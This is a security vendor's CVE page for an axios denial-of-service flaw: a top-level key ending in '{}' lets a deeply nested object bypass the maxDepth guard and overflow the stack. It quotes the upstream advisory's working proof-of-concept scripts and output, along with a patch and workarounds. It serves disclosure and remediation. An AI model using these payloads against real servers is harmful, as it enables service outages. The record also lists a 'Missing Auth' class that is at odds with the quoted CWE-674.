HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 67321 axios form serializer maxdepth bypass via
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright ยฉ 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium ยท CVSS 7.5CVE-2026-67321GHSA-HCPX-6FM6-WX23

Axios form serializer maxDepth bypass via {} metatokenCVE-2026-67321

Answer in brief

CVE-2026-67321 records a Medium severity (CVSS 7.5) vulnerability in Axios form serializer maxDepth bypass via {} metatoken. The current sources do not mark it as known exploited. The current feed maps axios (npm), axios (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 20, 2026Updated Sep 8, 2026Source checked Oct 23, 2026First seen by HOL Aug 3, 2026Material review Sep 8, 2026
Upstream Advisory

Key facts

Risk
Medium ยท CVSS 7.5
Exploitation
Not marked as known exploited
Affected software
3 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 7.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps axios (npm), axios (npm). Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
axiosnpm>=0.31.1,<0.33.00.33.0
axiosnpm>=1.15.1,<1.18.01.18.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for axios, axios.
  2. 2Review the reported fix. Update axios to 0.33.0; axios to 1.18.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 20, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Sep 8, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Aug 3, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • NVD vulnerability recordnvd.nist.gov
  • Source referencevulncheck.com
Upstream source description

## Summary Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure. An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path. ## Impact The impact is availability only. No confidentiality or integrity impact was confirmed. Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception. The attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified. ## Affected Functionality Affected paths include: - `lib/helpers/toFormData.js` when a top-level key ends with `{}`. - `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`. - `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization. - Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`. Unaffected paths include: - Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`. - Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`. - Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended. ## Technical Details In `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal: ```js if (value && !path && typeof value === 'object') { if (utils.endsWith(key, '{}')) { key = metaTokens ? key : key.slice(0, -2); value = JSON.stringify(value); } } ``` The depth guard is in `build()`: ```js if (depth > maxDepth) { throw new AxiosError( 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth, AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED ); } ``` For `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`. ## Proof of Concept of Attack Safe local PoC with no network I/O: ```js import toFormData from './lib/helpers/toFormData.js'; function buildDeep(depth) { const head = {}; let cur = head; for (let i = 0; i < depth; i += 1) { cur.x = {}; cur = cur.x; } return head; } try { toFormData({ 'evil{}': buildDeep(10000) }); } catch (err) { console.log(err.name, err.code || '', err.message); } // Expected affected result: // RangeError Maximum call stack size exceeded ``` Expected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. ## Workarounds Reject or depth-limit untrusted objects before passing them to axios serialization. Strip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization. For query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit. For form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth. <details> <summary>Original Report</summary> ## Summary The `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched. ## Details Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes: - `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -> `defaults.transformRequest` -> `toURLEncodedForm(data)` -> `toFormData` - `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -> same path via `toFormData` - `axios.get(url, { params })` -> `buildURL` -> `new AxiosURLSearchParams(params)` -> `toFormData` Vulnerable code, `lib/helpers/toFormData.js`: ```javascript // 156 function defaultVisitor(value, key, path) { // 165 if (value && !path && typeof value === 'object') { // 166 if (utils.endsWith(key, '{}')) { // 167 // eslint-disable-next-line no-param-reassign // 168 key = metaTokens ? key : key.slice(0, -2); // 169 // eslint-disable-next-line no-param-reassign // 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked // 171 } else if (... ``` `build()` later does enforce `maxDepth`: ```javascript // 211 function build(value, path, depth = 0) { // 212 if (utils.isUndefined(value)) return; // 213 // 214 if (depth > maxDepth) { // 215 throw new AxiosError( // 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth, // 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED // 218 ); ``` The `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously. The behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected. The attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{"x":{"x":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged: ```javascript app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body attacker-controlled res.send('ok'); }); // attacker POST /forward with content-type: application/x-www-form-urlencoded // body: {"evil{}": <8000-deep object>} // -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes ``` The error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down. The fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads: ```diff if (utils.endsWith(key, '{}')) { // eslint-disable-next-line no-param-reassign key = metaTokens ? key : key.slice(0, -2); + // Reject objects that would exceed maxDepth before handing to JSON.stringify, + // which is recursive in V8 and stack-overflows on deeply nested input. + (function checkDepth(v, d) { + if (d > maxDepth) { + throw new AxiosError( + 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth, + AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED + ); + } + if (v && typeof v === 'object') { + for (const k in v) checkDepth(v[k], d + 1); + } + })(value, 0); // eslint-disable-next-line no-param-reassign value = JSON.stringify(value); } ``` (The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.) ## PoC Reproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script: ```javascript import axios from './source/index.js'; function buildDeep(depth) { let head = {}; let cur = head; for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; } return head; } const malicious = buildDeep(5000); const safeAdapter = () => Promise.resolve({ data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {} }); // 1. POST x-www-form-urlencoded try { await axios.post('http://example.test/x', { 'evil{}': malicious }, { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter }); } catch (e) { console.log('POST form-encoded:', e.name, '-', e.message); } // 2. GET with params try { await axios.get('http://example.test/x', { params: { 'evil{}': malicious }, adapter: safeAdapter }); } catch (e) { console.log('GET params:', e.name, '-', e.message); } ``` 3/3 runs reproduce the same `RangeError` on `[email protected]` with Node.js 24: ``` $ node poc_jsonstringify_dos.mjs POST form-encoded: RangeError - Maximum call stack size exceeded GET params: RangeError - Maximum call stack size exceeded ``` `safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch. Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB. ## Impact A remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path. </details> ---

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • Fallow: Jest and Vitest `projects` entries let an analyzed repository make Fallow read files outside the project rootSame npm ecosystem
  • Electron: Mitigation for compromised eMudhra intermediate certificatesSame npm ecosystem
  • Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code executionSame npm ecosystem
  • Serialize JavaScript: Cross-site scripting (XSS) via unescaped </script at the end of a serialized function bodySame npm ecosystem

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
CWE-674
Source
GitHub Security Advisories
Source checked
Oct 23, 2026
References
11 linked sources
Open source record